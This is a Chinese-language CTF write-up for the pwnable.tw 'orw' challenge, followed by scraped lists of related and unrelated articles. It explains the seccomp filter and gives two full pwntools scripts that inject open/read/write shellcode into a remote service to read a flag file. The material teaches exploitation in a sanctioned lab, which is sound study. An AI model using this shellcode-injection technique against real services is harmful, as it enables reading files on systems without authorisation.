Pwnable_orw
题源

题解
保护

只开启了栈保护
分析
进入ida分析 main函数如下

seccomp (Secure Computing Mode)是一种 Linux 内核安全机制,它可以 限制进程可执行的系统调用(syscall),用于减少攻击面,提高程序安全性。
使用seccomp-tools查看允许调用的函数,即orw(open,read,write)
seccomp安装方法
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
使用方法
seccomp-tools dump ./orw
该题只允许调用open,read,write.再联系题目上的信息,flag在/home/orw/flag下,即调用open打开文件,read读取文件,write输出文件内容,接下来就是编写shellcode,使用Pwntools下的shellcraft帮助编写
exp
open(path,flag,mode) flag:只读 只写 读写 mode:新建文件的权限
read(fd,buf,count) fd:文件描述符 buf:内存缓冲区 count:读取字符数
write(fd,buf,count) 和read相同
第一种
点我一下QaQ
from pwn import *
context(os='linux', arch='i386', log_level='debug')
content = 0
if content == 1:
io = process("./orw")
else:
io = remote("chall.pwnable.tw",10001)
def main():
io.recvuntil("shellcode:")
payload = shellcraft.open('/home/orw/flag',0,0)
payload += shellcraft.read(3,'/home/orw/flag', 100)
#当一个文件被打开时,会占用0,1,2三个文件描述符,而Linux中文件描述符是增加的,所以会返回3
payload += shellcraft.write(1, '/home/orw/flag', 100)
#这里的fd = 1指标准输出到终端
io.sendline(asm(payload))
io.interactive()
if __name__ == '__main__':
main()
第二种
再点我一下 0.0
from pwn import *
context(os='linux', arch='i386', log_level='debug')
content = 0
if content == 1:
io = process("./orw")
else:
io = remote("chall.pwnable.tw",10001)
def main():
io.recvuntil("shellcode:")
payload = shellcraft.open('/home/orw/flag')
payload += shellcraft.read('eax','ebp', 100)
#open返回的文件描述符会存入eax,ebp作为缓冲区地址,存放读取的内容,即‘/home/orw/flag’
payload += shellcraft.write(1, 'ebp', 100)
io.sendline(asm(payload))
io.interactive()
if __name__ == '__main__':
main()
推荐第二种,因为在不同的系统调用中,返回的文件描述符不一定相同,但是一定都存放在eax中.
在第一种中的payload += shellcraft.read(3,'/home/orw/flag', 100)和write调用中,
'/home/orw/flag'会shellcraft作为缓冲区地址,但是Pwntools会自动处理.因此第二种更有普适性


得到flag
Pwnable_orw的更多相关文章
- [BUUCTF]PWN——pwnable_orw
pwnable_orw 附件 步骤: 例行检查,32位程序,开启了canary 本地运行一下程序,看看大概的情况,提示我们输入shellcode 32位ida载入,检索字符串,没看见什么可以直接利用的 ...
- BUU | pwnable_orw
题解网上其他师傅已经写过了而且写的很详细,菜鸡只好写一下自己做题中的笔记 Payload : #coding:utf-8 from pwn import * context(log_level = ' ...
- [BUUCTF-Pwn]刷题记录1
[BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...
- BUUCTF pwn一分题目
因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...
- pwn 之 沙箱机制
0x00: 简介 沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向.一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造 ...
随机推荐
- Python 在Excel单元格中应用数据条
在Excel中添加数据条是一种数据可视化技巧,它通过条形图的形式在单元格内直观展示数值的大小,尤其适合比较同一列或行中各个单元格的数值.这种表示方式可以让大量的数字信息一目了然.本文将介绍如何使用Py ...
- 在Android Studio中如何使用真机连接并调试App?
前提:adb环境已经配置 手机端: 1.打开手机开发者权限,"设置" 中找到 "版本号",连续多次点击,会提示打开"开发者".我的是 &qu ...
- OpenMMLab AI实战营 第七课笔记
OpenMMLab AI实战营 第七课笔记 目录 OpenMMLab AI实战营 第七课笔记 import os import numpy as np from PIL import Image im ...
- C# 开发电子印章制作工具 -- 附下载程序
前言 本人在业余时间,开发了一款电子印章制作软件.印章制作软件看似简单,其实不然. 比如对椭圆形印章而言,要求公司名称中的每一个字间隔相等,要求字的方向与椭圆曲线垂直. 要满足这些条件,需要复杂的计算 ...
- WPF 设置Button的content为多行模式
查找button的子元素是个TextBlock,再设置它的TextWrappingProperty属性为 TextWrapping.Wrap. Button btn2 = new Button() { ...
- DICOM-SCP,可以直接使用的SCP(.net framework 4.5)控制台接收端
此程序引用的是Dicom.Core 4.0.8.0,也是最后一版支持部署在.net framework 4.5 或以下环境的.如需要部署在.net4.6.1以上的需要查看另一个文档. 1 using ...
- 0425-字节输入流FileInputStream
package A10_IOStream; import java.io.FileInputStream; import java.io.IOException; /* java.io.InputSt ...
- SQL SERVER巡检脚本
print'----------------------------' print'开始巡检' print'----------------------------' print'1.查看数据库版本信 ...
- 并发编程 - 线程同步(三)之原子操作Interlocked简介
上一章我们了解了3种处理多线程中共享资源安全的方法,今天我们将更近一步,学习一种针对简单线程同步场景的解决方案--Interlocked. 在此之前我们先学习一个概念--原子操作. 01.原子操作 原 ...
- 一个登录功能也能玩出这么多花样?sa-token带你轻松搞定多地登录、单地登录、同端互斥登录
需求场景 说起登录,你可能会不屑一顾,还有比这更简单的功能吗? 获取一下用户提交参数 username + password 和数据库中一比对,有记录返回[登录成功],无记录返回[用户名或密码错误] ...
